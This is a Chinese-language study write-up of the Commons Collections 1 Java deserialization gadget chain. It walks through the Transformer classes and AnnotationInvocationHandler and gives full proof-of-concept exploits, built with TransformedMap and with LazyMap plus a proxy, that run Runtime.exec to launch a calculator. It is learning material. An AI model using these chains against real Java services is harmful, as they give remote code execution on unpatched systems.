# 前言

前面跟着 p 牛知识星球的文章学习 java 反序列的基础知识,RMI 和 URLDNS 链,现在大概算是勉强看到门?接下来准备开始学习 CommonsCollections 这个系列的利用链,以本篇记录

# Commons Collections

这个 java 库是为了额外提供一些集合类和工具,这些类和工具不是标准的 java 集合框架的一部分,但是它可以更加方便的扩展集合的功能,它的出现主要是因为 java 集合框架的一些不足,使得开发人员更加高效的处理集合数据,它能够创建 “转换后的集合” 这些集合在每个元素被添加到集合中的时自动对其应用指定的转换。

了解一下 Commons Collections 是什么之后,接下来先记录这个过程中涉及到的几个接口和类

# 前置知识

# Transformer

它是 org.apache.commons.collections.Transformer 接口中的一个方法,这个接口定义了一种将输入对象转换为输出对象的策略,常用于函数式编程中,可以视为一个以输入为参数,返回一个输出的函数, Transformer(Object input) 方法方法接收 Object类型的input ,处理后将 Object返回 ,这个方法实现定义了转换逻辑

下面是一个使用 Transformer 方法来将字符串列表转换为大写的形式

import org.apache.commons.collections.CollectionUtils;
import org.apache.commons.collections.Transformer;
import java.util.Arrays;
import java.util.List;
public class TransformerTest {
    public static void main(String[] args) {
        List<String> strings = Arrays.asList("hello", "world");
        Transformer transformer = new Transformer() {
            public Object transform(Object input) {
                return ((String) input).toUpperCase();
            }
        };
        CollectionUtils.transform(strings, transformer);
        System.out.println(strings);  // 输出 [HELLO, WORLD]
    }
}

image-20230421160051535

# TransformedMap

org.apache.commons.collections.map.TransformedMap 它实现了 java.util.Map 接口,它用来对 Map 中的键或值进行转换,在其构造方法 TransformedMap 中需要有两个参数一个要转换的 Map 对象和两个 Transformer 对象,分别对键和值进行转换,在使用 TransformedMap 时所有的 get,put,remove 方法在调用的时候都会自动调用这个 Transformer 对象

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

# LazyMap

org.apache.commons.collections.map.LazyMap 提供了一个创建动态生成值的 Map 的方法,它与 TransformedMap 很类似,区别在于 LazyMap 调用 get () 方法的时候,如果传入的 key 不存在的时候会触发相对应的 Transformer 的 transform () 方法

# DefaultedMap

org.apache.commons.collections.map.DefaultedMap 与上面的 LazyMap 方法相同,在调用 get () 方法的时候会自动调用 Transformer 方法

# ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer 提供了一个始终返回常量值的 Transformer 实现,在初始化的时候存储了一个 Object,这个类用于和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法

public class ConstantTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;
    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;
    }
    public Object getConstant() {
        return this.iConstant;
    }
}

# InvokerTrabsformer

实现 Transformer 接口的一个类,这个类可以用来 执行任意方法 ,这也是反序列化能够执行仍以代码的关键

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

demo:

package Clown_CC1;
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerTest {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

image-20230421192003749

# ChainedTransformer

实现 Transformer 接口的一个类,他的作用是将内部的多个 Transformer 串在一起

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }

# demo

这里先贴一下 p 牛的代码,我加了一些注释

public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{// 创建了一个 Transformer 数组
                new ConstantTransformer(Runtime.getRuntime()),// 第一个 Transformer 返回 JVM 运行时对象
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"C:\\Windows\\System32\\calc.exe"})// 第二个 Transformer 通过 IncokerTransformer 调用 Runtime 的 exec 对象并弹一个计数器
        };
        Transformer transformerChain = new ChainedTransformer(transformers);// 创建一个 ChainedTransformer 对象,起一个链接作用
        Map innerMap = new HashMap();// 创建一个 HashMap 对象
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// 创建一个 TransformedMap 对象,使用上面的 TransformChain 来修饰 innerMap
        outerMap.put("test", "xxxx");// 这里调用 put 方法(触发点)
    }

这里可以看到,通过 ChainedTransformer 将 ConstantTransformerInvokerTransformer 连接在一起,将 ChainedTransformer 设置为 map 装饰器的处理方法,调用 TransformedMapput() 方法时会触发 Transformer 链的调用方法。

# AnnotationInvocationHandler

上面提到使用这个 put 调用,但是在实际序列化的时候没有办法手工执行这个 put,我们需要去寻找找到类似的写入操作在 readObject 中,这样反序列化的时候就能够成功触发,AnnotationInvocationHandler 就是这样一个类,这里我的 java 版本是 jdk8u65

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

for (Map.Entry<String, Object> memberValue : memberValues.entrySet())memberValue.setValue 这个地方调用了 set 方法,可以作为触发点

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

在构造方法中第一个参数是 Annotation 实现类的 class 对象,第二个对象是一个 Map,键为 String,值为 Object,如果 type 对象的父类接口不是唯一的且为 Annotation.class 则不会讲两个参数初始化到对象中

再看上面重写的 readObject 方法,先通过 annotationType = AnnotationType.getInstance(type); 来获取 type 的对应的 AnnotationType 的对象,接着获取 memberTypes 属性接着遍历了它的所有元素,并依次设置值,这里就是 poc 的起点了

这里去要创建一个 AnnotationInvocationHandler 对象,并将前面构造的 HashMap 设置进来

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,outerMap);

这里 Runtime 类是没有实现 java.io.Serializable 接口的,所以不允许被序列化,p 牛也是给了解决方法通过反射去调用

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

编写成 Transformer 的写法

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"C:\\Windows\\System32\\calc.exe" }),
        };

下面贴一下完整的 poc

# poc_Transformer

package Clown_CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC1 {
    public static void Serialization(Object object) throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("poc1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        System.out.println("Output");
    }
    public static void Unserialization() throws  Exception{
        FileInputStream fileInputStream = new FileInputStream("poc1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        objectInputStream.close();
        System.out.println("Input");
    }
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"C:\\Windows\\System32\\calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);// 创建一个 ChainedTransformer 对象,起一个链接作用
        Map innerMap = new HashMap();// 创建一个 HashMap 对象
        innerMap.put("value","xxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// 创建一个 TransformedMap 对象,使用上面的 TransformChain 来修饰 innerMap
//        outerMapput ("test", "xxxx");// 这里调用 put 方法(触发点)
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,outerMap);
        Serialization(obj);
        Unserialization();
    }
}

image-20230423005357596

# poc_LazyMap

上面是跟着 p 牛写的链子,这里也是看到 ysoserial 中的 CommonsCollections1 的 payload 中使用的是 LazyMap

image-20230423005656630

LazyMap 和 TransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator,在 ysoserial 的源码中主要是利用 LazyMap 的 get 这个方法,这里 LazyMap 的作用是 “懒加载”,在 get 找不到值的时候,它会调用 factory.transform 方法去获取一个值

image-20230516133251707

这个 factory 是可控的

image-20230516133510116

相比于 TransformedMap 的利用方法,LazyMap 后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法中并没有直接调用到 Map 的 get 方法,所以在 ysoserial 中利用的是 sun.reflect.annotation.AnnotationInvocationHandler 的 invoke 方法

image-20230516133753158

而想要调用这个 invoke 就需要使用到 java 的对象代理

package Clown_CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class LazyMap_CC1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\Windows\\System32\\calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
        lazyMap.get("test");
    }
}

同样上面的是我手动去触发的 get 方法,下面用 java 对象代理来修改完整的 poc 链

package Clown_CC1;
import org.apache.commons.collections.ProxyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class POC2 {
    public static void Serialization(Object object) throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("poc2.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("OutPut");
    }
    public static void Unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("poc2.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("InPut");
    }
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"C:\\Windows\\System32\\calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);// 创建一个 ChainedTransformer 对象,起一个链接作用
        Map innerMap = new HashMap();// 创建一个 HashMap 对象
        innerMap.put("value","xxx");
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy);
        Serialization(handler);
        Unserialization();
    }
}

image-20230423012448964

# 总结分析

这里拿 Transformer 的这个 poc 举例,首先是利用 InvokerTransformer,因为这个函数中的 Transformer 函数实现了 invoke

image-20230429015825587

可以执行方法,利用点找到后回推,寻找一个也调用 Transform 的类,来调用 InvokerTransformer 中的 Transformer 方法,在 TransformedMap 中有一个 checkTransformer

image-20230429020030950

这里调用了 Transform 方法,且这里的 valueTransformer 可控

image-20230429020205753

这里本意是对 Map 的键值通过 Transform 进行一个处理,可以利用,接着寻找哪个类调用了 checksetValue,寻找后发现在 AbstractInputCheckedMapDecorator 有调用

image-20230429020705557

这里 MapEntry 其实就是键值对 MapEntry 中的 setValue 方法其实就是 Entry 中的 setValue 方法,他这里重写了 setValue 方法,所以说只需要遍历就能调用???不确定,可以试一下

package Clown_CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class POC3test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer =new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        HashMap map = new HashMap();
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue("a");
        }
    }
}

image-20230429021427161

这里可以看到是成功弹出计算器,也就是成功调用了的,那么接下来找到一个遍历数组的地方就可以了这个・最好是 readObject 里面有,或者是通过 readObject 能间接的调用到的,这里是在 AnnotationInvocationHandler 中的 readObject 中直接找到了一个遍历 Map 的功能,这里还有一个 setvalue 方法,这就很符合我们的需求,这里因为它不是 public 类,这里需要通过反射区获取

image-20230429022551678

看一下构造方法,第一个参数是一个集成了 Annotation 的一个泛型,Annotation 是注解,第二个是 Map

image-20230429023253466

在循环中还有两个判断需要注意一下,它首先获取了传入注解的成员变量,然后用键值对的 key 在成员变量中查找,要不为空,所以我传入了 Retention 注解,其中有一个 value

image-20230429023520435

然后将 map 的键值改为 value,然后判断能不能强转,这个地方肯定是能够进入的,但是最后的 value 是我们不能直接控制的,我们需要将 value 给为 Runtime.class 这里是需要使用 ConstantTransformer 这个类去间接改变 value 的值

image-20230429023935195

image-20230516132045046

这样讲传入的值设定后能够成功调用

最后整个流程
image-20230709171356788